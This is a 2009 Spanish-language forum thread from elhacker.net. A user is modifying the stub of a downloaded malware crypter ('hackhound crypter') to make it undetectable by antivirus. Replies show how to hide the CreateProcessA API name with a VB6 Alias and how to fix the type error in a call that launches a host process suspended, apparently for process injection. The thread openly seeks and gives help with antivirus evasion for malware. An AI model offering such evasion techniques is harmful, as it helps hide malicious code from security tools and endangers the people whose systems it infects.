Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: maxinitto en 8 Febrero 2009, 03:33 am



Título: Ayuda con funciones en VB6
Publicado por: maxinitto en 8 Febrero 2009, 03:33 am
Muy buenas foro, tengo una dudilla aver si me podeis ayudar...

pues bueno resulta que descarger un source de un crypter, llamado hackhound crypter y bueno, estoy modificando el stub para hacerlo fud para uso propio...
el stub tiene 4 modulos .bas y un modulos de clase y uno de ellos es detectado por 6 avs la mas gracia es que yo modifico esta linea del codigo:

Código:
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long

pero solamente le cambio esta palabra
Código:
CreateProcessA
le pongo x ejemplo hola y al escanear el stub le quita 3 avs pero... se rompe el stub e probado varias maneras proniendo un alias y eso pero nada se me sigue rompiendo alguien sabe como modificar esta funcion para que funcione y no se rompa el stub y encripte bien, es que me esta volviendo loco y no doy con la manera   :rolleyes:

muchas gracias y saludo de antemano ;D


Título: Re: Ayuda con funciones en VB6
Publicado por: seba123neo en 8 Febrero 2009, 22:19 pm
Hola, ¿vos le queres cambiar el nobre a la api? proba asi:

Código
  1. Private Declare Function ElNombreQueQuieras Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
  2.  

saludos.


Título: Re: Ayuda con funciones en VB6
Publicado por: maxinitto en 9 Febrero 2009, 01:14 am
e probado tu codigo pero me tira un error,

me dice:

el tipo de argumento de ByRef no coincide  :o y le doy a debug y me manda a esta linea del codigo

Código:
ElNombreQueQuieras sHost, vbNullString, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi

y me marca el primer cero de los 2 que hay  :-(


Título: Re: Ayuda con funciones en VB6
Publicado por: BlackZeroX en 9 Febrero 2009, 01:40 am
e probado tu codigo pero me tira un error,

me dice:

el tipo de argumento de ByRef no coincide  :o y le doy a debug y me manda a esta linea del codigo

Código:
ElNombreQueQuieras sHost, vbNullString, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi

y me marca el primer cero de los 2 que hay  :-(

la Syntasic de la api

Declare Function NombreIndentificatico lib "libreria" Alias "Funcion dentro de la Libreria" (OpcionesDeLaFuncionOAlgoAsi)

El unico que no es obligatorio escribir tal cual es el NombreIdentificativo

a tu problema revisa bien lo de las Opciones de la Funcion que esten del tipo adetuado si no es lo que te dara un error es decir el que te da